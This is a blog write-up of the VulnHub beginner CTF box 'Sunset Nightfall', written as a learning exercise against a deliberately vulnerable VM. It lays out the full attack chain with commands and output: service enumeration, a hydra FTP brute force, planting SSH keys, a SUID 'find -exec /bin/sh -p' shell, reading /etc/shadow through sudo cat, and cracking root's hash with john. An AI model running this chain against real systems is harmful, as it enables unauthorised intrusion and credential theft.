some guy that does some stuff

16 Feb 2020

VulnHub: Sunset Nightfall

Here’s my write-up for Nightfall, a VulnHub box created by whitecr0wz, which is part of the Sunset series.


The description for this box states the following:

Nightfall is a born2root VM designed for beginners. Virtualbox is strongly recommended for doing this challenge.

There wasn’t much to go off there so I ran a port scan using nmap to see what was running:

kali@kali:~/Documents/vulnhub/nightfall/nmap$ nmap -sV -sC -oA nmap
Starting Nmap 7.80 ( ) at 2020-02-09 13:48 EST
Nmap scan report for
Host is up (0.00016s latency).
Not shown: 994 closed ports                                                                                                                                                                                                               
PORT     STATE SERVICE     VERSION                                                                                                                                                                                                        
21/tcp   open  ftp         pyftpdlib 1.5.5                                                                                                                                                                                                
| ftp-syst:                                                                                                                                                                                                                               
|   STAT:                                                                                                                                                                                                                                 
| FTP server status:                                                                                                                                                                                                                      
|  Connected to:                                                                                                                                                                                                             
|  Waiting for username.                                                                                                                                                                                                                  
|  TYPE: ASCII; STRUcture: File; MODE: Stream                                                                                                                                                                                             
|  Data connection closed.                                                                                                                                                                                                                
|_End of status.                                                                                                                                                                                                                          
22/tcp   open  ssh         OpenSSH 7.9p1 Debian 10 (protocol 2.0)                                                                                                                                                                         
| ssh-hostkey:                                                                                                                                                                                                                            
|   2048 a9:25:e1:4f:41:c6:0f:be:31:21:7b:27:e3:af:49:a9 (RSA)                                                                                                                                                                            
|   256 38:15:c9:72:9b:e0:24:68:7b:24:4b:ae:40:46:43:16 (ECDSA)                                                                                                                                                                           
|_  256 9b:50:3b:2c:48:93:e1:a6:9d:b4:99:ec:60:fb:b6:46 (ED25519)                                                                                                                                                                         
80/tcp   open  http        Apache httpd 2.4.38 ((Debian))                                                                                                                                                                                 
|_http-server-header: Apache/2.4.38 (Debian)                                                                                                                                                                                              
|_http-title: Apache2 Debian Default Page: It works                                                                                                                                                                                       
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)                                                                                                                                                                    
445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)                                                                                                                                                                 
3306/tcp open  mysql       MySQL 5.5.5-10.3.15-MariaDB-1                                                                                                                                                                                  
| mysql-info:                                                                                                                                                                                                                             
|   Protocol: 10                                                                                                                                                                                                                          
|   Version: 5.5.5-10.3.15-MariaDB-1                                                                                                                                                                                                      
|   Thread ID: 15                                                                                                                                                                                                                         
|   Capabilities flags: 63486                                                                                                                                                                                                             
|   Some Capabilities: Support41Auth, ConnectWithDatabase, DontAllowDatabaseTableColumn, FoundRows, SupportsCompression, SupportsLoadDataLocal, ODBCClient, Speaks41ProtocolOld, SupportsTransactions, IgnoreSigpipes, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, InteractiveClient, LongColumnFlag, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments                                                                                                
|   Status: Autocommit                                                                                                                                                                                                                    
|   Salt: \n5]Rd~n/<}%:5=qA3v|                                                                                                                                                                                                            
|_  Auth Plugin Name: mysql_native_password                                                                                                                                                                                               
Service Info: Host: NIGHTFALL; OS: Linux; CPE: cpe:/o:linux:linux_kernel                                                                                                                                                                  
Host script 

That’s a lot of services! FTP, SSH, Apache HTTP Server, something called “Samba” (I’d not heard of this service before now) and MySQL. I started with port 80, opening up Firefox to see if anything interesting was running.

It looks like it’s a default Apache HTTP Server install. I ran dirb against (the IP for Nightfall) with the default word list to make sure there weren’t any interesting endpoints hiding but this didn’t return anything useful:

kali@kali:~/Documents/vulnhub/nightfall/nmap$ dirb
DIRB v2.22                                                                                                                                                                                                                                
By The Dark Raver                                                                                                                                                                                                                         
START_TIME: Mon Feb 09 13:51:20 2020                                                                                                                                                                                              
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt                                                                                                                                                                                      
GENERATED WORDS: 4612                                                                                                                                                                                                                     
---- Scanning URL: ----                                                                                                                                                                                                 
+ (CODE:200|SIZE:10701)                                                                                                                                                                                       
+ (CODE:403|SIZE:297)                                                                                                                                                                                      
END_TIME: Mon Feb 09 13:51:25 2020

Next, I took a look at the FTP server. I tried to log in as an anonymous user but no luck:

kali@kali:~/Documents/vulnhub/nightfall$ ftp
Connected to
220 pyftpdlib 1.5.5 ready.
Name ( anonymous
331 Username ok, send password.
530 Anonymous access not allowed.
Login failed.

What was curious was that the FTP server wasn’t vsftpd (what I’ve usually seen in the past), it was something called “pyftpdlib”. I looked into pyftpdlib and found the GitHub repo which states: “Python FTP Server library is a FTP server library providing a portable interface to easily write very efficient asynchronous FTP servers with Python.”

I took a look at the releases, as nmap was reporting the version of pyftpdlib to be 1.5:

It’s a few versions out of date so I checked in the GitHub issues and on Exploit DB to see if any exploits had been raised against pyftpdlib but nothing came up.

To be honest, that’s where the story ends for a few days. I was a little overwhelmed by the number of services (still being fairly new to the CTF scene) that could be enumerated and I found myself constantly flipping between services trying to find a way in without a steady aim or trajectory. I took some time away from Nightfall for a bit and given I knew the least about Samba and SMB, that’s where I started my research. The Samba website states: “Samba is the standard Windows interoperability suite of programs for Linux and Unix. Since 1992, Samba has provided secure, stable and fast file and print services for all clients using the SMB/CIFS protocol, such as all versions of DOS and Windows, OS/2, Linux and many others.”

This particular definition of SMB made the most sense to me: “SMB is a network protocol used by Windows-based computers that allows systems within the same network to share files. It allows computers connected to the same network or domain to access files from other local computers as easily as if they were on the computer’s local hard drive. Not only does SMB allow computers to share files, but it also enables computers to share printers and even serial ports from other computers within the network. For example, a computer connected to a Windows network could print a document on a printer connected to another computer on the network, as long as both machines support the SMB protocol.”

After reading a few more articles and skimming several RFCs I had a basic understanding of what Samba and SMB were. Now I wanted to know how to start interacting with a Samba server. As predicted IppSec has a great walkthrough of HackTheBox: Active in which they demonstrate how to use different tools to interrogate Samba/SMB.

Running SMBMap didn’t return anything interesting:

kali@kali:~$ smbmap -H
[+] Finding open SMB ports....
[+] User SMB session established on
[+] IP:   Name:                                         
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        IPC$                                                    NO ACCESS       IPC Service (Samba 4.9.5-Debian

Running enum4linux however, did return something interesting. This tool outputs a lot of information so I’ve stripped out the noise leaving just the interesting lines:

kali@kali:~/Documents/vulnhub/nightfall$ enum4linux -a
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\nightfall (Local User)
S-1-22-1-1001 Unix User\matt (Local User)

I was interested in how enum4linux found these users so that I might understand a bit more on how Samba and SMB work, but within minutes I was down a rabbit hole, reading about the difference between RIDs and a SIDs in Active Directory and RID cycling attacks using null sessions. Given that I had a username to start enumerating the other services with and my knowledge of Windows is minimal, I didn’t fancy losing my mind with the exact details at this point so I left the fascinating world of Samba/Windows/Active Directory/SID/RID for now, with a todo on my list to spend more time understanding this technology soon.

I tried to FTP in as matt and I was prompted for a password. I recalled seeing an ftp mode for hydra so I looked into it, found the argument and gave it a go:

kali@kali:~/Documents/vulnhub/nightfall$ hydra -l matt -P /usr/share/wordlists/rockyou.txt -vV ftp -f
[ATTEMPT] target - login "matt" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target - login "matt" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target - login "matt" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target - login "matt" - pass "password" - 4 of 14344399 [child 3] (0/0)

After around 30 seconds a password was found:

[ATTEMPT] target - login "matt" - pass "cheese" - 154 of 14344399 [child 7] (0/0)
[ATTEMPT] target - login "matt" - pass "159753" - 155 of 14344399 [child 10] (0/0)
[ATTEMPT] target - login "matt" - pass "arsenal" - 156 of 14344399 [child 11] (0/0)
[ATTEMPT] target - login "matt" - pass "dolphin" - 157 of 14344399 [child 12] (0/0)
[ATTEMPT] target - login "matt" - pass "antonio" - 158 of 14344399 [child 13] (0/0)
[ATTEMPT] target - login "matt" - pass "heather" - 159 of 14344399 [child 14] (0/0)
[ATTEMPT] target - login "matt" - pass "david" - 160 of 14344399 [child 15] (0/0)
[21][ftp] host:   login: matt   password: cheese
[STATUS] attack finished for (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2020-02-15 10:36:46

I logged into the FTP server as matt, using the password cheese, and started looking around:

kali@kali:~/Documents/vulnhub/nightfall$ ftp
Connected to
220 pyftpdlib 1.5.5 ready.
Name ( matt
331 Username ok, send password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 Active data connection established.
125 Data connection already open. Transfer starting.
-rw-------   1 matt     matt            0 Aug 28 22:41 .bash_history
-rw-r--r--   1 matt     matt          220 Aug 26 00:34 .bash_logout
-rw-r--r--   1 matt     matt         3526 Aug 26 00:34 .bashrc
drwx------   3 matt     matt         4096 Aug 28 21:26 .gnupg
drwxr-xr-x   3 matt     matt         4096 Aug 26 00:42 .local
-rw-r--r--   1 matt     matt          807 Aug 26 00:34 .profile
-rw-------   1 matt     matt            0 Aug 28 22:41 .sh_history
226 Transfer complete.

The first thing I noticed was the .gnupg directory but unfortunately I didn’t find anything exciting in it. Changing directories outside of matt's home directory wasn’t permitted. I was stuck in the home directory but I had read/write permissions. I also knew the box had SSH access so the plan was to exploit that.

kali@kali:~/Documents/vulnhub/nightfall$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): /home/kali/Documents/vulnhub/nightfall/ssh
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/Documents/vulnhub/nightfall/ssh.
Your public key has been saved in /home/kali/Documents/vulnhub/nightfall/
kali@kali:~/Documents/vulnhub/nightfall$ cp authorized_keys

I created a passwordless keypair on my machine. Once I had the authorized_keys file created (which was just a copy of the ssh public key) I created a .ssh directory in matt's home directory and uploaded the authorized_keys file:

ftp> mkdir .ssh
257 "/.ssh" directory created. 
ftp> cd .ssh
250 "/.ssh" is the current directory.
ftp> put authorized_keys
local: authorized_keys remote: authorized_keys
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
563 bytes sent in 0.00 secs (204.6927 kB/s)

I opened up a new terminal and ssh’d in as matt, using the private key as the identity file:

kali@kali:~/Documents/vulnhub/nightfall$ ssh matt@ -i ssh
Linux nightfall 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.


Once I was logged in as matt I downloaded a copy of from my machine ( and ran it as matt:

matt@nightfall:~$ wget
2020-02-15 10:49:45 (23.4 MB/s) - ‘’ saved [46631/46631]

Again, like enum4linux, LinEnum outputs a lot of information, but the interesting bit in all of the noise was here:

matt@nightfall:~$ ./
[+] Possibly interesting SUID files:
-rwsr-sr-x 1 nightfall nightfall 315904 Aug 28 14:31 /scripts/find

This copy of find runs as user nightfall due to the SUID permission on the file. find can execute shell commands (using the -exec flag) and GTFOBins documents a nice one-liner to get a shell via find.

matt@nightfall:~$ cd /scripts
matt@nightfall:/scripts$ ./find . -exec /bin/sh -p \; -quit
$ whoami
$ cd /home/nightfall
$ ls
$ cat user.txt

The first flag was found. To get around having to pivot through matt to user nightfall (and to also get a better shell) I decided to set up ssh the same way I did for matt:

$ mkdir .ssh
$ cd .ssh
$ cp /home/matt/.ssh/authorized_keys authorized_keys

Once the authorized_keys were in place I could ssh in as nightfall.

kali@kali:~/Documents/vulnhub/nightfall$ ssh nightfall@ -i ssh
Linux nightfall 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.


Running LinEnum again (this time as nightfall) flagged something interesting:

nightfall@nightfall:~$ /home/matt/./
(root) NOPASSWD: /usr/bin/cat

“Wait, does this mean I can run sudo cat as root without a password?” I thought. Yes:

nightfall@nightfall:~$ sudo cat /etc/shadow

I copied the entry in /etc/shadow for the root user into a text file (root_shadow.txt) and used john the ripper to crack the password:

kali@kali:~/Documents/vulnhub/nightfall$ sudo john root_shadow.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
miguel2          (root)
1g 0:00:00:09 DONE 2/3 (2020-02-15 11:53) 0.1091g/s 3564p/s 3564c/s 3564C/s miguel2..jesucristo2
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The final step was to switch to the root user, using the cracked password miguel2:

nightfall@nightfall:~$ su -
root@nightfall:~# ls
root@nightfall:~# cat root_super_secret_flag.txt 
Congratulations! Please contact me via twitter and give me some feedback! @whitecr0w1
Thank you for playing! - Felipe Winsnes (whitecr0wz)                                 flag{9a5b21fc6719fe33004d66b703d70a39}

Final thoughts

This was the first time I’d come face to face with Samba and SMB. I have a lot to learn about Windows (ugh) and some of the common services found running on Windows (ugh) but I’m happy the gaps in my knowledge didn’t stop me from completing this box. Nightfall was an interesting challenge that forced me to step away for a few days, do my research, and come back with a plan.